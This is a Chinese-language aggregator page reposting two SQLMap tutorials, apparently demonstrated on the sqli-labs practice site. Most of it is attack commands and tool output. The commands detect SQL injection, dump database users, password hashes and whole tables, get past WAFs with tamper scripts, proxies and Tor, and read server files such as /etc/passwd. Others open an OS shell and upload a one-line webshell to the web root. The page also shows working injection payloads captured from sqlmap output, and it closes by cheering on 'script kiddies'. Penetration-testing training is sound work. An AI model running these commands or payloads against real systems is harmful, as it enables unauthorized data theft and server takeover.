SQLMap的详细使用教程

Posted Kali与编程~

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQLMap的详细使用教程相关的知识,希望对你有一定的参考价值。

SQL注入是一种广泛存在于Web应用程序的漏洞,可以导致敏感数据泄露、系统破坏等严重后果。SQLMap是一款自动化SQL注入工具,它可以帮助渗透测试人员快速发现和利用SQL注入漏洞。本文将介绍SQLMap的详细使用教程和常用命令。

  1. 安装和配置

在Linux系统中,可以使用以下命令安装SQLMap:

sudo apt-get install sqlmap

安装完成后,可以运行以下命令启动SQLMap:

sqlmap -h
  1. 基本使用方法

使用SQLMap进行SQL注入攻击的基本步骤如下:

(1)测试目标网站是否存在SQL注入漏洞

使用以下命令测试目标网站是否存在SQL注入漏洞:

sqlmap -u http://www.example.com/index.php?id=1 --batch

其中,“http://www.example.com/index.php?id=1”是目标URL,“–batch”表示以批处理模式运行SQLMap。

(2)确认注入点

如果目标网站存在SQL注入漏洞,则需要确认注入点。可以使用以下命令列出所有可用的注入点:

sqlmap -u http://www.example.com/index.php?id=1 --batch --dbs

这个命令将输出目标网站上所有可用的数据库名称。

(3)获取数据库信息

使用以下命令获取目标网站的数据库信息:

sqlmap -u http://www.example.com/index.php?id=1 --batch -D dbname --tables

其中,“-D dbname”表示指定数据库名称,“–tables”表示列出所有可用的表名。

(4)获取表信息

使用以下命令获取目标网站上指定表的信息:

sqlmap -u http://www.example.com/index.php?id=1 --batch -D dbname -T tablename --columns

其中,“-T tablename”表示指定表名,“–columns”表示列出所有可用的列名。

(5)获取列信息

使用以下命令获取目标网站上指定表中指定列的数据:

sqlmap -u http://www.example.com/index.php?id=1 --batch -D dbname -T tablename -C columnname --dump

其中,“-C columnname”表示指定列名,“–dump”表示将结果输出到文件中。

  1. 高级使用方法

除了基本的SQL注入攻击,SQLMap还提供了许多高级功能,如POST请求注入、Cookie注入、文件读取等。

(1)POST请求注入

如果目标网站使用POST请求提交数据,则可以使用以下命令进行注入攻击:

sqlmap -u "http://www.example.com/login.php" --data="username=admin&password=123456" --batch

其中,“–data”表示要发送的POST数据。

(2)Cookie注入

如果目标网站使用Cookie来维护会话状态,则可以使用以下命令进行注入攻击:

sqlmap -u "http://www.example.com/index.php" --cookie="PHPSESSID=123456" --batch

其中,“–cookie”表示要使用的Cookie。

(3)文件读取

如果目标网站允许访问文件系统,则可以使用以下命令读取指定文件:

sqlmap -u "http://www.example.com/index.php?id=1" --file-read="/etc/passwd" --batch

其中,“–file-read”表示要读取的文件名。

  1. 总结

SQLMap是一款功能强大的自动化SQL注入工具,可用于发现和利用Web应用程序中的SQL注入漏洞。虽然它的使用方法相对简单,但是它也提供了许多高级功能,可以帮助渗透测试人员更快地渗透Web应用程序。但是,请务必遵循道德和法律标准,在合法授权的情况下使用这个工具。同时,渗透测试人员也应该了解SQL注入漏洞的本质和防范方法,以便更好地保护Web应用程序的安全。

史上最详细的sqlmap使用教程

史上最详细的sqlmap使用教程

1.sqlmap简介

sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL进行SQL注入。目前支持的数据库有MySql、Oracle、Access、PostageSQL、SQL Server、IBM DB2、SQLite、Firebird、Sybase和SAP MaxDB等

Sqlmap采用了以下5种独特的SQL注入技术

  • 基于布尔类型的盲注,即可以根据返回页面判断条件真假的注入
  • 基于时间的盲注,即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已经执行(即页面返回时间是否增加)来判断
  • 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中
  • 联合查询注入,在可以使用Union的情况下注入
  • 堆查询注入,可以同时执行多条语句时的注入

Sqlmap的强大的功能包括 数据库指纹识别、数据库枚举、数据提取、访问目标文件系统,并在获取完全的操作权限时执行任意命令。

sqlmap是一个跨平台的工具,很好用,是SQL注入方面一个强大的工具!


2.初级扫描方案

探测是否存在sql注入漏洞

对于不用登录的网站,直接指定其URL:🎂

sqlmap -u "http://xxx/Less-1/?id=1"

直接扫到数据库类型为mysql数据库(输入y继续):

it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] 

扫描出id部分存在boolean盲注:

GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable               
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 

扫描完成后,sqlmap给出了一些验证漏洞的payload信息:

Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 5728=5728 AND 'IxVn'='IxVn

    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: id=1' AND GTID_SUBSET(CONCAT(0x716a6b7171,(SELECT (ELT(8185=8185,1))),0x716b7a6a71),8185) AND 'QMiy'='QMiy

    Type: time-based blind
    Title: MySQL >= 5.0.12 OR time-based blind (SLEEP - comment)
    Payload: id=1' OR SLEEP(5)#

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=-4446' UNION ALL SELECT NULL,NULL,CONCAT(0x716a6b7171,0x697148456f7242714a57456c4c6541624b4a57775163786775634c564b72556b78505a5457584d70,0x716b7a6a71)-- -

扫描结果:

[06:28:00] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL >= 5.6

对于需要登录的网站,我们需要指定其cookie🙌

我们可以用账号密码登录,然后用抓包工具抓取其cookie填入

sqlmap -u  "http://xxx/sqli/Less-1/?id=1"   --cookie="抓取的cookie"

对于是post提交数据的URL,我们需要指定其data参数💦

sqlmap -u "http://xxx/sqli/Less-11/?id=1" --data="uname=admin&passwd=admin&submit=Submit"

我们也可以通过抓取 http 数据包保存为文件💞

这样,我们就可以不用指定其他参数,这对于需要登录的网站或者post提交数据的网站很方便。

如下,我们保存网站的访问数据包为data.txt文件:

可以看到,我的网站存在防CSRF攻击,sqlmap注入失败:

查看数据库信息

查看数据库的所有用户:

sqlmap -u "http://xxx/Less-1/?id=1" --users

查看数据库所有用户名的密码:

sqlmap -u "http://xxx/Less-1/?id=1" --passwords

查看数据库当前用户:

sqlmap -u "http://xxx/Less-1/?id=1" --current-user 

扫到当前用户信息:

current user: ‘sqlilabs@localhost’

判断当前用户是否有管理权限:

sqlmap -u "http://xxx/Less-1/?id=1" --is-dba

当前用户不是root用户:

current user is DBA: False

列出数据库管理员角色:

sqlmap -u "http://xxx/sqli/Less-1/?id=1" --roles

查看所有的数据库:

sqlmap -u "http://xxx/sqli/Less-1/?id=1" --dbs

查看当前的数据库:

sqlmap -u "http://xxx/sqli/Less-1/?id=1" --current-db

得到当前的数据库信息:

[03:25:33] [INFO] fetching current database
current database: ‘security’

爆出指定数据库(security)中的所有的表:

sqlmap -u "http://xxx/sqli/Less-1/?id=1" -D security --tables

得到所有表的信息:

Database: security
[4 tables]
±---------+
| emails |
| referers |
| uagents |
| users |
±---------+

爆出指定数据库指定表中的所有的列:

sqlmap -u "http://xxx/sqli/Less-1/?id=1" -D security -T users --columns

爆出指定数据库指定表指定列下的数据:

sqlmap -u "http://xxx/sqli/Less-1/?id=1" -D security -T users -C username --dump

爆出该网站数据库中的所有数据:

sqlmap -u "http://xxx/sqli/Less-1/?id=1" -D security -T users --dump-all #爆出数据库security中的users表中的所有数据
sqlmap -u "http://xxx/sqli/Less-1/?id=1" -D security --dump-all   #爆出数据库security中的所有数据
sqlmap -u "http://xxx/sqli/Less-1/?id=1" --dump-all  #爆出该数据库中的所有数据

3.高级扫描方案

绕过waf

Sqlmap在默认情况下除了适用CHAR()函数防止出现单引号,没有对注入的数据进行修改。我们可以使用—tamper参数对数据进行修改来绕过WAF等设备,其中的大部分脚本主要用正则模块替换攻击载荷字符编码的方式尝试绕过WAF的检测规则。Sqlmap目前官方提供53个绕过脚本。

识别网站有无waf,可以使用kali里面的工具:wafw00f

如下的网站不存在waf:

sqlmap参数绕过:

#使用参数进行绕过
--random-agent    使用任意HTTP头进行绕过,尤其是在WAF配置不当的时候
--time-sec=3      使用长的延时来避免触发WAF的机制,这方式比较耗时
--hpp             使用HTTP 参数污染进行绕过,尤其是在ASP.NET/IIS 平台上
--proxy=100.100.100.100:8080 --proxy-cred=211:985      使用代理进行绕过
--ignore-proxy    禁止使用系统的代理,直接连接进行注入
--flush-session   清空会话,重构注入
--hex 或者 --no-cast     进行字符码转换
--mobile          对移动端的服务器进行注入
--tor             匿名注入

指定脚本进行绕过(—tamper):

有些时候网站会过滤掉各种字符,可以用tamper来解决(对付某些waf时也有成效)

sqlmap 官方提供了53个绕过脚本,脚本目录在/usr/share/sqlmap/tamper

指定单个脚本进行绕过:

sqlmap -u "http://xxx/Less-1/?id=1" --tamper=space2plus.py 

指定多个脚本进行绕过:

sqlmap -u "http://xxx/Less-1/?id=1" --tamper="space2comment.py,space2plus.py"

探测等级和危险等级(—level —risk)

Sqlmap一共有5个探测等级,默认是1。等级越高,说明探测时使用的payload也越多。其中5级的payload最多,会自动破解出cookie、XFF等头部注入。当然,等级越高,探测的时间也越慢。这个参数会影响测试的注入点,GET和POST的数据都会进行测试,HTTP cookie在level为2时就会测试,HTTP User-Agent/Referer头在level为3时就会测试。在不确定哪个参数为注入点时,为了保证准确性,建议设置level为5

sqlmap一共有3个危险等级,也就是说你认为这个网站存在几级的危险等级。和探测等级一个意思,在不确定的情况下,建议设置为3级

如下,设置探测等级5,平台危险等级3,都是最高级别,进行扫描:💫

sqlmap -u "http://xxx:7777/Less-1/" --level=5 --risk=3  

伪造 Http Referer头部

Sqlmap可以在请求中伪造HTTP中的referer

例如,可以这样来伪造百度的referer头部:

--referer  http://www.baidu.com

执行指定的SQL语句(—sql-shell)

sqlmap -u "http://xxx/sqli/Less-1/?id=1" --sql-shell 

然后会提示我们输入要查询的SQL语句,注意这里的SQL语句最后不要有分号

执行sql查询:

执行操作系统命令(—os-shell)

在数据库为MySQL、PostgreSql或者SQL Server时,可以通过sqlmap执行操作系统命令

当为MySQL数据库时,需满足下面条件:

  • 当前用户为 root
  • 知道网站根目录的绝对路径
sqlmap -u "http://xxx:7777/Less-1/?id=1" --os-shell

接下来让我们选择网站的脚本语言:

which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)

往下,接下来让我们判断网站可写目录的方法:

what do you want to use for writable directory?
[1] common location(s) ('/var/www/, /var/www/html, /var/www/htdocs, /usr/local/apache2/htdocs, /usr/local/www/data, /var/apache2/htdocs, /var/www/nginx-default, /srv/www/htdocs, /usr/local/var/www') (default)
[2] custom location(s)
[3] custom directory list file
[4] brute force search
【1】使用公共的默认目录(C:/xampp/htdocs/,C:/wamp/www,C:/Inetpub/wwwroot/)
【2】自定义网络根目录绝对路径
【3】指定自定义的路径文件
【4】暴力破解

执行os-shell的过程中,sqlmap会向网站根目录写入两个文件 tmpblwkd.phptmpueqch.php。真正的木马文件是tmpblwkd.php 。如果是非正常退出sqlmap的话,这两个文件不会被删除。只有当我们输入 x 或 q 退出 sqlmap 时,该文件才会被自动删除。

读取服务器文件(—file-read)

当数据库为MySQL、PostgreSQL或SQL Server,并且当前用户有权限时,可以读取指定文件,可以是文本文件或者二进制文件。

例如我们要读取目标服务器C盘的test.txt文件:

sqlmap -u "http://xxx/sqli/Less-4/?id=1" --file-read "c:/test.txt"

上传文件到数据库服务器中(—file-write —file-dest)

当数据库为MySQL、Postgre SQL或者Sql Server(通过powershell写入),并且当前用户有权限向任意目录写文件的时候,可以上传文件到数据库服务器。文件可以是文本,也可以是二进制文件。

所以利用上传文件,我们可以上传一句话木马或者上传shell上去。

前提是我们知道目标服务器的绝对路径

python2 sqlmap.py -u http://xxx/sqli-labs/Less-2/?id=1 
--file-write C:\\Users\\mi\\Desktop\\1.php 
--file-dest "C:\\phpStudy\\PHPTutorial\\WWW\\2.php"  
#将本地的C:\\Users\\mi\\Desktop\\1.php文件上传到目标服务器C:\\phpStudy\\PHPTutorial\\WWW\\2.php

祝愿每一个脚本小子,从这里起航🚀

以上是关于SQLMap的详细使用教程的主要内容,如果未能解决你的问题,请参考以下文章

史上最详细的sqlmap使用教程

史上最详细的sqlmap使用教程

黑客工具之sqlmap安装教程,超详细使用教程(附工具安装包)

sqlmap 使用笔记

SQLMap用户手册超详细

SQLMap用户手册超详细